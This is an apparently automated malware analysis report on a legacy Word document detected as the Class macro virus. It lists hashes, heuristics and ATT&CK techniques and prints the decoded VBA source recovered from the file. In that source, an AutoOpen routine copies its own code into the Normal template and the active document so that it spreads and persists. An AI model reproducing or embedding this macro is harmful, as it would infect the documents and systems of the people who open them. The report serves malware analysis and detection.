Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8fd6fa997d2623b…

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a03557ed7ba59fc4277ab1f74edeae41 SHA-1: 35e08413a9ca31b252f7de2ba40443ee2ec873fa SHA-256: c8fd6fa997d2623b0e19a16a0a35a2e558f6f913f4441256668cb730894c32da
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros. The AutoOpen and AutoClose macros are designed to copy their code into the Normal template and the active document, a common technique for macro-based malware to achieve persistence or spread. The ClamAV detection further confirms its malicious nature. No external URLs or executable payloads were directly observed, but the macro's self-replication behavior is highly suspicious.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-9
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1055 bytes
SHA-256: 46995e3621d88dfdffe5a6d6028396f38cd9b0a6e643017bdd2cb94ca1b3d6e7
Detection
ClamAV: Doc.Trojan.Class-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



























Sub AutoOpen()
'1nternal
On Error GoTo BreakOut
Set N = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set A = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Options.VirusProtection = True
Options.SaveNormalPrompt = True
Options.ConfirmConversions = True
If Day(Now) = 16 And (Month(Now) = 10) Then MsgBox "1nternal / Class.Insert"
If N.Lines(29, 1) = "'1nternal" Then GoTo TestA
    For I = 1 To 50
        N.InsertLines I, A.Lines(I, 1)
    Next I
    N.ReplaceLine 28, "Sub AutoClose()"
TestA:
If A.Lines(29, 1) = "'1nternal" Then GoTo BreakOut
    For I = 1 To 50
        A.InsertLines I, N.Lines(I, 1)
    Next I
    A.ReplaceLine 28, "Sub AutoOpen()"
BreakOut:
End Sub


Attribute VB_Name = "NewMacros"

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